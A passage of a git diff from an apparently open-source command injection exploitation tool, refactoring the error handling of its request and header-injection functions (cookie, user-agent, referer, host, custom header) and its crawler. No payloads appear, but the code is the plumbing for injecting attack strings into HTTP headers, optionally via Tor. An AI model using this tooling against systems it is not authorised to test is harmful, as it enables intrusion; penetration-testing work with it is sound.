estimate_response_time(url, timesec): ignore_end = time.time() start = start - (ignore_start - ignore_end) - except socket.timeout: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The connection to target URL has timed out." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - except _urllib.error.URLError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg.reason) + ".")) - raise SystemExit() except ValueError as err_msg: if settings.VERBOSITY_LEVEL != 0: @@ -237,6 +225,9 @@ def estimate_response_time(url, timesec): print(settings.print_critical_msg(str(err_msg) + ".")) raise SystemExit() + except Exception as err_msg: + request_failed(err_msg) + end = time.time() diff = end - start @@ -273,77 +264,12 @@ def estimate_response_time(url, timesec): return timesec, url_time_response -""" -Get the response of the request -""" -def get_request_response(request): - - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - response = proxy.use_proxy(request) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - if not str(err_msg.code) == str(menu.options.ignore_code): - err = str(err_msg) + "." - if settings.VERBOSITY_LEVEL < 2: - print("\r" + settings.print_critical_msg(err) + 30 * settings.SINGLE_WHITESPACE) - - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - return response - """ Exceptions regarding requests failure(s) """ def request_failed(err_msg): settings.VALID_URL = False + try: error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: @@ -361,7 +287,7 @@ def request_failed(err_msg): if not settings.CRAWLING: raise SystemExit() else: - return True + return False elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): settings.MAX_RETRIES = 1 @@ -376,11 +302,11 @@ def request_failed(err_msg): if not settings.CRAWLING: raise SystemExit() else: - return True + return False elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING: - return True + return False else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" @@ -412,10 +338,11 @@ def request_failed(err_msg): error_msg = "Connection was forcibly closed by the target URL." elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + "' which could interfere with the results of the tests." + print(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): - warn_msg = "The web server responded with an HTTP error code (" + str(status_code[0]) + ") which could interfere with the results of the tests." - print(settings.print_warning_msg(warn_msg)) - return True + return False + return True else: error_msg = "The provided target URL seems not reachable. " error_msg += "In case that it is, please try to re-run using " @@ -424,13 +351,26 @@ def request_failed(err_msg): error_msg += "'--proxy' option." print(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: - raise SystemExit() + raise SystemExit() else: - return True + return False elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ (menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()): - return True + return False + + elif settings.IGNORE_ERR_MSG == False: + if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + continue_tests = checks.continue_tests(err_msg) + if continue_tests == True: + settings.IGNORE_ERR_MSG = True + return False + else: + if not settings.CRAWLING: + raise SystemExit() + else: + return False else: if settings.VERBOSITY_LEVEL >= 1: @@ -439,7 +379,32 @@ def request_failed(err_msg): print(settings.print_debug_msg(debug_msg)) else: print(settings.print_critical_msg(err_msg)) - return True + return False + +""" +Get the response of the request +""" +def get_request_response(request): + + headers.check_http_traffic(request) + if menu.options.proxy: + try: + proxy = request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except Exception as err_msg: + response = request_failed(err_msg) + elif menu.options.tor: + try: + response = tor.use_tor(request) + except Exception as err_msg: + response = request_failed(err_msg) + else: + try: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except Exception as err_msg: + response = request_failed(err_msg) + + return response """ Check if target host is vulnerable. (Cookie-based injection) @@ -483,91 +448,23 @@ def inject_cookie(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_cookie(url, vuln_parameter, payload, proxy) - - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err_msg = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err_msg)) - continue_tests = checks.continue_tests(err) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -611,94 +508,23 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_user_agent(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -713,7 +539,6 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): def referer_injection(url, vuln_parameter, payload): def inject_referer(url, vuln_parameter, payload, proxy): - if proxy == None: opener = _urllib.request.build_opener() else: @@ -743,95 +568,24 @@ def inject_referer(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_referer(url, vuln_parameter, payload, proxy) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_referer(url, vuln_parameter, payload, proxy) - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -878,96 +632,24 @@ def inject_host(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_host(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_host(url, vuln_parameter, payload, proxy) + except Exception as err_msg: + response = request_failed(err_msg) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) @@ -975,7 +657,6 @@ def inject_host(url, vuln_parameter, payload, proxy): else: return response - """ Check if target host is vulnerable. (Custom header injection) """ @@ -1015,96 +696,24 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_custom_header(url, vuln_parameter, payload, proxy) - - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) + if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index e9be40c905..95bb2d2d80 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -291,45 +291,46 @@ def crawler(url, url_num, crawling_list): info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." print(settings.print_info_msg(info_msg)) response = request(url) - if settings.SITEMAP_CHECK: - enable_crawler() - if settings.SITEMAP_CHECK is None: - check_sitemap() - if settings.SITEMAP_CHECK: - output_href = sitemap(url) - if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): - output_href = do_process(url) - if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: - settings.DEFAULT_CRAWLING_DEPTH = 1 - while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): - info_msg = "Searching for usable " - info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." - print(settings.print_info_msg(info_msg)) - if settings.DEFAULT_CRAWLING_DEPTH == 2: - output_href = new_crawled_hrefs - elif settings.DEFAULT_CRAWLING_DEPTH > 2: - output_href = new_crawled_hrefs + crawled_hrefs - try: - [output_href.remove(x) for x in visited_hrefs if x in output_href] - except TypeError: - pass - link = 0 - if output_href is not None: - for url in output_href: - if url not in visited_hrefs and url is not None: - link += 1 - settings.CRAWLED_URLS_NUM = link - if settings.SINGLE_WHITESPACE in url: - url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - visited_hrefs.append(url) - do_process(url) - info_msg = str(link) - info_msg += "/" + str(len(output_href)) + " links visited." - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - if link != 0: - print(settings.SINGLE_WHITESPACE) - settings.DEFAULT_CRAWLING_DEPTH += 1 + if type(response) is not bool and response is not None: + if settings.SITEMAP_CHECK: + enable_crawler() + if settings.SITEMAP_CHECK is None: + check_sitemap() + if settings.SITEMAP_CHECK: + output_href = sitemap(url) + if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): + output_href = do_process(url) + if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: + settings.DEFAULT_CRAWLING_DEPTH = 1 + while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): + info_msg = "Searching for usable " + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." + print(settings.print_info_msg(info_msg)) + if settings.DEFAULT_CRAWLING_DEPTH == 2: + output_href = new_crawled_hrefs + elif settings.DEFAULT_CRAWLING_DEPTH > 2: + output_href = new_crawled_hrefs + crawled_hrefs + try: + [output_href.remove(x) for x in visited_hrefs if x in output_href] + except TypeError: + pass + link = 0 + if output_href is not None: + for url in output_href: + if url not in visited_hrefs and url is not None: + link += 1 + settings.CRAWLED_URLS_NUM = link + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + visited_hrefs.append(url) + do_process(url) + info_msg = str(link) + info_msg += "/" + str(len(output_href)) + " links visited." + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() + if link != 0: + print(settings.SINGLE_WHITESPACE) + settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs no_usable_links(output_href) diff --git a/src/utils/settings.py b/src/utils/settings.py index a7d2dca63f..a2450770be 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "57" 